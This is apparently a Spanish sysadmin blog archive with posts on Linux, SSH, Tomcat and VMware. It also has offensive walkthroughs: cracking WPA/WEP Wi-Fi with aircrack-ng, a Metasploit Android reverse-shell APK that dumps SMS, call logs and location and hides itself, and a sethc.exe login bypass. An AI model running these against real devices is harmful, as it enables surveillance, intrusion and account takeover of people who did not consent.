Mostrando entradas con la etiqueta Unix. Mostrar todas las entradas
Mostrando entradas con la etiqueta Unix. Mostrar todas las entradas

viernes, 18 de enero de 2019

Instalar PowerShell en Linux



Vamos a instalar PowerShell Core en Linux, esto fué probado en un Debian 9

Primero descargamos el tar.gz:
root@debian:~# curl -L -o /tmp/powershell.tar.gz https://github.com/PowerShell/PowerShell/releases/download/v6.1.0/powershell-6.1.0-linux-x64.tar.gz

Creamos la carpeta donde lo almacenaremos:
root@debian:~# mkdir -p /opt/microsoft/powershell/6.1.0

Descomprimimos:
root@debian:~# tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/6.1.0

Damos permisos de ejecución:
root@debian:~# chmod +x /opt/microsoft/powershell/6.1.0/pwsh

Creamos en enlace simbólico:
root@debian:~# ln -s /opt/microsoft/powershell/6.1.0/pwsh /usr/bin/pwsh

FUENTE: https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-6

miércoles, 2 de enero de 2019

Conectar con SSH sin clave pública/privada - SSHpass


Qué es SSHpass:

     Cuando utilizamos SSH para conectarnos de un servidor a otro utilizamos un usuario y una contraseña.
   
     Usualmente podemos generar un par de claves pública y privada para que no nos solicite la contraseña. En el caso que no deseemos utilizar estas claves podremos utilizar el SSHPASS que nos servirá para pasar la contraseña por parámetro.

     Esta herramienta podemos utilizarla por ejemplo para poner dentro de scripts sin que tener que configurar las keys SSH.

     También explicaré como utilizar GPG para encriptar la clave y que no quede en texto plano en un archivo.

Instalar el sshpass:
root@debian:~# apt-get install sshpass

Ingresar pasando el password sin tener keys ssh:
root@debian:~# sshpass -p 'Mi_password' ssh 192.168.0.200

Poner la clave dentro de un archivo:
root@debian:~# echo 'Mi_password' > pass.txt
root@debian:~# sshpass -f pass.txt ssh 192.168.0.200

Tener en cuenta para darle permisos de lectura solo al owner, para que nadie más pueda leer la clave.
root@debian:~# chmod 0400 pass.txt

Encriptar el archivo de contraseña con gpg:
root@debian:~# gpg -c pass.txt

Ingresamos una passphrase que nos solicita y la confirmamos. Esto nos genera un archivo .gpg

root@debian:~# ls -lat pass.txt.gpg
-rw-r--r-- 1 root root 94 ene  2 11:15 pass.txt.gpg

Eliminamos el que no está encriptado:

root@debian:~# rm -rf pass.txt

Usamos el sshpass con la clave encriptada:
root@debian:~# gpg -d -q pass.txt.gpg > pass.txt; sshpass -f pass.txt ssh 192.168.0.200; rm pass.txt

viernes, 28 de diciembre de 2018

Parallel SSH - Ejecutar comandos remotos en multiples servidores

Todos sabemos que es SSH y que podemos hacer con él, pero hoy vamos a ver Parallel SSH.

Que es Parallel SSH:

Es un comando ó herramienta que nos permite conectarnos a varios servidores simultáneamente mediante SSH y poder ejecutar comandos sin ingresar uno por uno para ejecutarlos.

Instalamos el parallel-ssh:
root@debian:~# apt-get install pssh

Vemos como usarlo: 
root@debian:~# parallel-ssh --help
Usage: parallel-ssh [OPTIONS] command [...]
Options:
  --version             show program's version number and exit
  --help                show this help message and exit
  -h HOST_FILE, --hosts=HOST_FILE
                        hosts file (each line "[user@]host[:port]")
  -H HOST_STRING, --host=HOST_STRING
                        additional host entries ("[user@]host[:port]")
  -l USER, --user=USER  username (OPTIONAL)
  -p PAR, --par=PAR     max number of parallel threads (OPTIONAL)
  -o OUTDIR, --outdir=OUTDIR
                        output directory for stdout files (OPTIONAL)
  -e ERRDIR, --errdir=ERRDIR
                        output directory for stderr files (OPTIONAL)
  -t TIMEOUT, --timeout=TIMEOUT
                        timeout (secs) (0 = no timeout) per host (OPTIONAL)
  -O OPTION, --option=OPTION
                        SSH option (OPTIONAL)
  -v, --verbose         turn on warning and diagnostic messages (OPTIONAL)
  -A, --askpass         Ask for a password (OPTIONAL)
  -x ARGS, --extra-args=ARGS
                        Extra command-line arguments, with processing for
                        spaces, quotes, and backslashes
  -X ARG, --extra-arg=ARG
                        Extra command-line argument
  -i, --inline          inline aggregated output and error for each server
  --inline-stdout       inline standard output for each server
  -I, --send-input      read from standard input and send as input to ssh
  -P, --print           print output as we get it
Example: pssh -h hosts.txt -l irb2 -o /tmp/foo uptime


Editamos el archivo donde pondremos ip's de los servidores donde ejecutaremos los comandos:
root@debian:~# vi hosts.txt
192.168.0.100
192.168.0.200

Ejecutamos el comando en ambos servidores:
root@debian:~# parallel-ssh -h hosts.txt -l root -o /tmp/salida uptime
[1] 09:52:12 [SUCCESS] 192.168.0.100
[2] 09:52:12 [SUCCESS] 192.168.0.200 

-h listado de servidores donde ejecutaremos los comandos
-l usuario con el que se conectará por ssh. Tener en cuenta que debe tener configuradas las keys ssh para que no pida password.
-o directorio de salida donde mostrará la salida de cada comando
uptime el comando que ejecutará en cada servidor remoto


Vemos la salida de cada ip en la ruta que le pasamos con el -o: 
root@debian:~# ls -lat /tmp/salida.txt/
total 1930
drwxrwxrwt 7 root root 1971200 Dec 28 09:55 ..
-rw-r--r-- 1 root root      74 Dec 28 09:52 192.168.0.100
-rw-r--r-- 1 root root      73 Dec 28 09:52 192.168.0.200
drwxr-xr-x 2 root root    1024 Dec 28 09:51 .

Vemos el resultado de cada server:
root@debian:~# cat /tmp/salida.txt/192.168.0.100
  9:52am  up 100 day(s), 16:24,  9 users,  load average: 0.06, 0.07, 0.06 
root@debian:~# cat /tmp/salida.txt/192.168.0.200
  9:52am  up 85 day(s), 17:12,  0 users,  load average: 0.11, 0.18, 0.19

En caso que no tengamos las keys ssh podremos ingresar el password:

root@debian:~# parallel-ssh -h hosts.txt -A -O PreferredAuthentications=password uptime
Warning: do not enter your password if anyone else has superuser
privileges or access to your account.
Password: acáVaLaClaveDeRoot
[1] 12:08:27 [SUCCESS] 192.168.0.100
[2] 12:08:27 [SUCCESS] 192.168.0.200



sábado, 24 de junio de 2017

Instalar Tomcat 8 en Debian Jessie

Instalamos tomcat8:

root@linux:~# apt-get update
root@linux:~# apt-get install tomcat8


Vemos que escucha el puerto 8080:


root@linux:~# netstat -ano |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      off (0.00/0/0)


Nos conectamos con un navegador web a:

http://192.168.1.100:8080/





Instalamos documentación, ejemplos y administración:

root@linux:~# apt-get install tomcat8-docs tomcat8-examples tomcat8-admin


Editamos el xml para permisos de usuarios:

root@linux:~# vi /etc/tomcat8/tomcat-users.xml

    tomcat
" password="mi_password" roles="manager-gui,admin-gui,manager-script" />


Reiniciamos el servicio del tomcat:

root@linux:~# /etc/init.d/tomcat8 restart
[ ok ] Restarting tomcat8 (via systemctl): tomcat8.service.


Ingresamos al manager con el usuario que creamos, donde indicamos la ip del server:

http://192.168.1.100:8080/manager/html


O ingresamos al host con el mismo usuario:

http://192.168.1.100:8080/host-manager/html


Ejemplos para ver el código y ejecutar:

http://192.168.1.100:8080/examples/




Si quiero hacer deploy de un war desde la url:

http://192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigillo&war=file:/usr/share/tomcat8-docs/docs/appdev/sample/Ejemplirigillo.war


Para undeploy desde la url:

http://192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigillo


Si queremos ejecutar comandos desde la CLI para listar las Applicaciones:

root@linux:~# curl http://tomcat:mi_password@192.168.1.100:8080/manager/text/list
OK - Listed applications for virtual host localhost
/:running:0:ROOT
/manager:running:16:/usr/share/tomcat8-admin/manager
/docs:running:0:/usr/share/tomcat8-docs/docs
/examples:running:0:/usr/share/tomcat8-examples/examples
/host-manager:running:0:/usr/share/tomcat8-admin/host-manager


Para hacer deploy de un WAR desde la CLI:

root@linux:~# curl --upload-file /usr/share/tomcat8-docs/docs/appdev/sample/Ejemplirigillo.war "http://tomcat:mi_password@192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigilllo"
OK - Deployed application at context path /Ejemplirigilllo


Vemos que quedó deployado la Aplicación llamada: Ejemplirigillo:

root@linux:~# curl http://tomcat:mi_password@192.168.1.100:8080/manager/text/list
OK - Listed applications for virtual host localhost
/Ejemplirigilllo:running:0:Ejemplirigilllo
/:running:0:ROOT
/manager:running:8:/usr/share/tomcat8-admin/manager
/docs:running:0:/usr/share/tomcat8-docs/docs
/examples:running:0:/usr/share/tomcat8-examples/examples
/host-manager:running:0:/usr/share/tomcat8-admin/host-manager



domingo, 28 de mayo de 2017

Hacking WPA y WPA2 por Fuerza Bruta desde MacOS



Escaneamos con airport para detectar todas las wifi disponibles. La que aparece en rojo es mi WiFi que intentaré romper:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
                   Speedy-B00FE4 f8:8f:97:b0:0f:ed -76  1       N  -- WEP
                   Speedy-CB6F98 e0:19:1d:cb:6f:a0 -57  1       Y  AR WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
                       Btzl-wifi 00:e0:4d:80:d2:94 -73  9       N  -- WPA(PSK/TKIP/TKIP)
                           Jotan a4:2b:b0:d7:69:50 -59  10,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
                           Mi_Wifi c9:d6:fe:7d:ef:a8 -39  6       N  -- WPA2(PSK/TKIP/TKIP) 


En el comando previo obtenemos el canal de la wifi WPA2 que queremos romper (canal 6). El en0 es el nombre de la interface wifi de mi mac. Lo dejamos corriendo para que capture:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
Capturing 802.11 frames on en0.


Abrimos otra terminal mientras y dejamos pingueamos a cualquier ip para generar tráfico:

MacBook:~ root# ping 8.8.8.8
Request timeout for icmp_seq 135
ping: sendto: No route to host
Request timeout for icmp_seq 136
ping: sendto: No route to host


Creamos la lista de posibles password, obviamente que yo puse la mía que sabía que era, si no la conocemos tenemos que bajar alguna wordlist de internet ó generar todas las posibles combinaciones con algun programa. Yo puse pocos password para que finalice rápido el proceso.

MacBook:~ root# vi wordlist.lst
algo
alguna
Cualquiera
laClaveWifi
Admin
password
pass
1234
….
clave


Empezamos a romper usando fuerza bruta desde la lista de posibles contraseñas (wordlist.lst), luego del -b pondremos el BSSID de la wifi elegida para romper y por último parámetro indicamos el archivo .cap que fue generado con el airport (2 comando ejecutado).

MacBook:~ root# aircrack-ng -w wordlist.lst -b c9:d6:fe:7d:ef:a8 /tmp/airportSniffC5nL70.cap
Opening /tmp/airportSniffC5nL70.cap
Reading packets, please wait...
                                 Aircrack-ng 1.1
                   [00:00:00] 4 keys tested (280.31 k/s)
                          KEY FOUND! [ laClaveWifi ]



Cuando aparece KEY FOUND ya tenemos la clave, es la que aparece entre corchetes, en este caso es: laClaveWifi


Se pueden bajar wordlist de varios lugares, por ejemplo acá les dejo una en español para que prueben: https://packetstormsecurity.com/files/download/32018/spanish.gz ó de cualquier idioma: https://packetstormsecurity.com/Crackers/wordlists/language/


Crackeando WPE WiFi con AirCrack-NG desde Mac



Descargar e instalar brew para instalar otros paquetes:

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


Instalar el Xcode del Apple Store:



Instalamos Aircrack-ng con el gestor brew:

$ brew install aircrack-ng


Ver canales para sniffear:

root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID                      BSSID                   RSSI   CHANNEL HT CC  SECURITY (auth/unicast/group)
Speedy-4325C1     34:4b:50:42:55:c1 -85      1                  N     --   WEP
Speedy-B11FE4    f2:31:98:b1:0f:ed    -79      1                  N     --   WEP
Speedy-AB1J4C    c3:d6:fa:71:3e:68   -82      11                 N     --   WEP


El en0 es la interface wifi y el 11 es el canal del comando previo. Este comando generará un .cap en el /tmp que utilizaremos posteriormente. Tenemos que dejar que corra un largo rato.
root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 11 
Capturing 802.11 frames on en0.

Ejecutamos por ultimo el aircrack con la mac del SSID a crackear y la ruta al .cap generado por el comando anterior:

root# aircrack-ng -1 -a 1 -b c3:d6:fa:71:3e:68 /tmp/airportSniffmNzwZc.cap


Finalmente aparecerá algo similar a lo siguiente como resultado si logró romper la wifi: 

KEY FOUND! [ 32:30:65:61:63 ] (ASCII: 20eac )

Decrypted correctly: 100%


Para conectarnos a la wifi tendremos que conectarnos a la red seleccionada:

SSID: Speedy-AB1J4C
Password: 3230656163


jueves, 25 de mayo de 2017

Instalando y usando Metasploit en MacBook Sierra para Acceder a un Android


1) Descargamos el paquete de:
 http://osx.metasploit.com/metasploit-framework-4.14.22%2B20170525092251-1rapid7-1.pkg


2) Instalamos por defecto, aceptamos términos y condiciones.


3) Agregamos los alias ó también podemos agregar la ruta al path de ejecución:
$ alias msfconsole='/opt/metasploit-framework/bin/msfconsole' 
$ alias msfvenom='/opt/metasploit-framework/bin/msfvenom'


4) Generamos la aplicación la cual se conectará a la pc atacante, ponemos un payload de shell reversa, el LHOST es la ip de la mac y la ruta donde mandaremos la aplicacion que instalaremos en el android:
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.42 R > Desktop/Aplicacion.apk 
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8779 bytes


5) Ahora hay que copiarlo al android al cual "atacaremos", ahi esta en cada uno como pasarlo, yo lo pasé en mi celular mediante dropbox, instalarlo. 6) Desde la mac abrimos el msfconsole:
$ msfconsole 


7) Indicamos el exploit, el payload el host remoto y el host local, ejecutamos el exploit y luego ejecutamos la aplicación desde el android:

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.42
LHOST => 192.168.1.42

msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.42:4444 
[*] Starting the payload handler...
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.42:4444 -> 192.168.1.39:59209) at 2017-05-25 23:03:51 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 2 opened (192.168.1.42:4444 -> 192.168.1.39:39350) at 2017-05-25 23:03:52 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 3 opened (192.168.1.42:4444 -> 192.168.1.39:37856) at 2017-05-25 23:03:52 -0300

[-] Failed to load client script file: /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb


8) Ya tenemos la sesión iniciada, vamos a bajar los mensajes:
meterpreter > dump_sms [*] Fetching 9 sms messages [*] SMS messages saved to: sms_dump_20170525230451.txt meterpreter >


9) Descargamos las llamadas:
meterpreter > dump_calllog
[*] Fetching 5 entries [*] Call log saved to calllog_dump_20170525230542.txt meterpreter >


10) Ocultamos el icono de la aplicación:
meterpreter > hide_app_icon
[*] Activity MainActivity was hidden


11) Obtenemos la ubicación geográfica mediante la wifi a la cual se conectó:
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of -xx.yyyyy.xxxx. [*] Google Maps URL: https://maps.google.com/?q=-xx.yyyyy.xxxx meterpreter >


12) Mandamos un msj de texto al celular 01234567890 con el mensaje -> desde el atacante:
meterpreter > send_sms -d "01234567890” -t "Desde el atacante”
[+] SMS sent - Transmission successful


martes, 14 de marzo de 2017

Restablecer contraseña de Administrador de Windows 7 con Clonezilla


Reiniciamos la Pc con el pendrive del clonezilla conectado y seleccionamos que bootee desde usb:


Seleccionamos la opción por defecto:


Elegimos el lenguaje deseado:


No tocar el keymap:


Ingresamos en la linea de comandos:


Ejecutamos lo siguiente para loguearnos como root:

$ sudo su - root


Vemos con fdisk en que partición tenemos instalado windows, yo ya conozco que estaba en la partición de 454Gb, pero podemos probar montar una por una para ver donde está realmente:

# fdisk -l |grep NTFS


Montamos la partición en /mnt con:

# mount /dev/sda3 /mnt/

Y luego ingresamos en el directorio System32:

# cd /mnt/Windows/System32/


Hacemos una copia del sethc.exe original para no perderlo:

# cp -pf sethc.exe sethc.exe.orig

Y luego lo pisamos con el cmd.exe:

# cp -pf cmd.exe sethc.exe 

Finalmente reiniciamos el sistema y dejamos que inicie con el windows nuevamente:

# reboot 


Una vez que nos pide login de windows, sin loguearnos tocamos varias veces la tecla SHIFT hasta que aparezca la ventana de CMD:


Tipeamos en la ventana negra los siguiente:

C:\Windows\System32> control userpasswords2

Seleccionamos el usuario administrador y restablecemos la clave:


Ya podemos ingresar al windows con el usuario administrador local.



miércoles, 25 de enero de 2017

SSH "Server refused our key" para todos los usuarios excepto root

Le pasé el siguiente instructivo a un compañero del trabajo para que configure SSH sin password: http://redes-seguridad.blogspot.com.ar/2012/10/putty-con-key-publica-y-privada.html 

Me dice que estaba mal el instructivo, lo pruebo con root y me funciona perfectamente, buscando un poco llego a que con un usuario sin privilegios de root no funcionaba, yo lo había probado solamente con root.

Al intentar loguearse con "usuario_no_root" le aparecía el siguiente mensaje:

Using username "usuario_no_root".
Server refused our key
usuario_no_root@servidorcirigillo's password:

Investigando un poco llegue a que para el usuario no root hay que agregar el authorized_keys en el /etc/ssh y no en el home del usuario, ejecutamos lo siguiente:

root@servidorcirigillo:~# mkdir /etc/ssh/usuario_no_root
root@servidorcirigillo:~# chmod 755 /etc/ssh/usuario_no_root/
root@servidorcirigillo:~# chown usuario_no_root /etc/ssh/usuario_no_root/
root@servidorcirigillo:~# touch /etc/ssh/usuario_no_root/authorized_keys
root@servidorcirigillo:~# chmod 644 /etc/ssh/usuario_no_root/authorized_keys
root@servidorcirigillo:~# cat /home/usuario_no_root/.ssh/authorized_keys > /etc/ssh/usuario_no_root/authorized_keys
root@servidorcirigillo:~# echo "AuthorizedKeysFile /etc/ssh/%u/authorized_keys" >> /etc/ssh/sshd_config

Reiniciamos el SSH:

root@servidorcirigillo:~# /etc/init.d/ssh restart
[ ok ] Restarting ssh (via systemctl): ssh.service.

Y ahora si nos deja loguearnos por ssh con un usuario sin privilegios de root sin contraseña, utilizando clave publica y privada.


Gracias estimado doctor Ballerini por el testeo del instructivo.


FUENTE: http://serverfault.com/questions/591476/ssh-server-refused-our-key-for-all-users-except-root-user
 

miércoles, 13 de julio de 2016

Instalar VMware vSphere Update Manager (VUM)

Qué es el VMware vSphere Update Manager ó VUM?

VUM permite actualizar parches críticos, no críticos ó hacer un upgrade de versión de VMware, por ejemplo de ESX 5.1 a ESX 6.0.

No sólo permite hacer actualizaciones de hosts, sino también de máquinas virtuales y aplicaciones virtuales.

Se agrega un plug-in en el vSphere Client en el cuál nos permite cargar imágenes y actualizaciones directamente desde el cliente de vmware, no es necesario poner el CD en el servidor para actualizarlo.

Una vez instalado lo veremos acá:



Comenzamos la instalación:

Nos dirigimos a la ruta donde tenemos instalado el vCenter y damos click derecho sobre el autorun y ejecutamos como administrador:


Nos dirigimos al apartado "vSphere Update Manager" y luego hacemos click sobre "Server" (1 en rojo en la imagen), luego tildamos la opción 2 (en rojo) y damos install. Esto obviamente si necesitamos utilizar un SQL Express, si tenemos un sql en otro server utilizamos ese, en este caso voy a explicar usando el express en este mismo equipo:


Elegimos el idioma:


Destildamos la opción para que actualice y siguiente:


Ingresamos la direción ip del servidor donde instalamos el vCenter, luego usuario y password y damos siguiente:


Y listo, finalizar la instalación:


Nos logueamos en el vSphere Client y vamos a la solapa "Plug-ins" y seleccionamos "Manage Plug-ins...":


Buscamos en los Plug-ins disponibles el que dice: "Extensión de VMware vSphere Update Manager" y luego clickeamos sobre: "Download and Install..."


Ejecutar:


Seleccionamos el idioma deseado:


Siguiente:


Aceptamos la lic y siguiente:


Instalar:


Si:


Y finalmente vamos al "Home" del vSphere Cliente y vemos que nos aparece ahora "Update Manager":


Y vemos que nos da una breve explicación:


Listo, finalizada la instalación del VUM

También vemos en el vSphere que aparece una nueva solapa: "Update Manager":




viernes, 1 de julio de 2016

Ocultar versión de Apache y PHP en Debian 8 (Jessie)

Cuando ponemos mal una ruta en el apache, nos suele devolver la versión que está corriendo, esto no es del todo seguro, ya que puede facilitarle la tarea a los que intentan atacar el server:




Para ocultarlo vamos a editar el security de Apache, comentando todos los ServerTokens que aparezcan, sólo dejamos el de ProductOnly y el ServerSignature en Off como se muestra en rojo abajo:

vi /etc/apache2/conf-enabled/security.conf

 #ServerTokens Minimal
 #ServerTokens OS
 #ServerTokens Full
 ServerTokens ProductOnly
 ServerSignature Off
 #ServerSignature On


Luego editamos el php.ini cambiando el On por el Off:

vim /etc/php5/apache2/php.ini

#expose_php = On
expose_php = Off 


Reiniciamos el apache:

/etc/init.d/apache2 restart


Vemos que ahora no aparece más la versión que aparecía antes:



lunes, 5 de octubre de 2015

Extender Disco LVM Oracle Linux en VMware

Verificamos el espacio en disco de /datos1 que tiene 500G y 89% disponible con el comando df -h:



Ejecutamos un fdisk -l para ver los discos antes de agregar el nuevo disco e identificar el nombre una vez agredado:



Agregamos el disco a la maquina virtual desde el vSphere Client de VMware. Editamos el host donde queremos agregar el disco, vamos a Virtual Machine Properties y luego Add como indica la imagen:



Seleccionamos que tipo de hardware queremos agregar, en este caso un disco y Next:



Create a new virtual disk, Next:



Indicamos el tamaño y seleccionamos la opción "Thin Provision" y luego Next:



Agregamos el disco en el siguiente SCSI disponible, en mi caso el (0:8), Next:



Finish:



Damos Ok:



Supuestamente haciendo el fdisk luego de agregar el disco debemos ver cambios, en caso de no encontrar diferencia entre ambos archivos:



Para que tome los cambios sin reiniciar es posible que tenga que poner "0 0 0" ó "- - -" en los archivos /sys/class/scsi_host/hostX/scan donde reemplaza la X por 0, 1, 2, .... hasta los que tenga, por ejemplo:



Ahora si vemos los cambios en los .txt antes y después de agregado el disco:



En la imagen anterior vemos el disco identificado como /dev/sdf. Creamos el volumen físico con el pvcreate especificando el disco. Luego ejecutamos un vgdisplay para obtener el nombre del volumen group (VG Name), en nuestro caso es el "DATOS-DB-PD" y vemos que tiene como tamaño 599.98GiB (VG Size):



Utilizamos el comando vextend para agregar el disco nuevo /dev/sdf al volumen group, el comando sería el siguiente de la imagen, donde DATOS-DB-PD es el nombre del volumen group y el siguiente parámetro es el nombre del disco:



Volvemos a ejecutar un df -h y vemos que sigue sin aumentar el tamaño del /datos1, lo que nos falta es extender el volumen lógico con el comando lvextend: 

# lvextend -L+299 Filesytem reemplazamos el filesystem por el que tenemos, en mi caso es el que está resaltado en negro, en el primer caso no me dejó con 300Gb, lo hice con 299 para que funcione:



Una vez agregado el disco al volumen lógico falta hacer la redimension del filesystem, ejecutando lo siguiente:



Vemos que nos dejó extenderlo correctamente de 591G a 885G.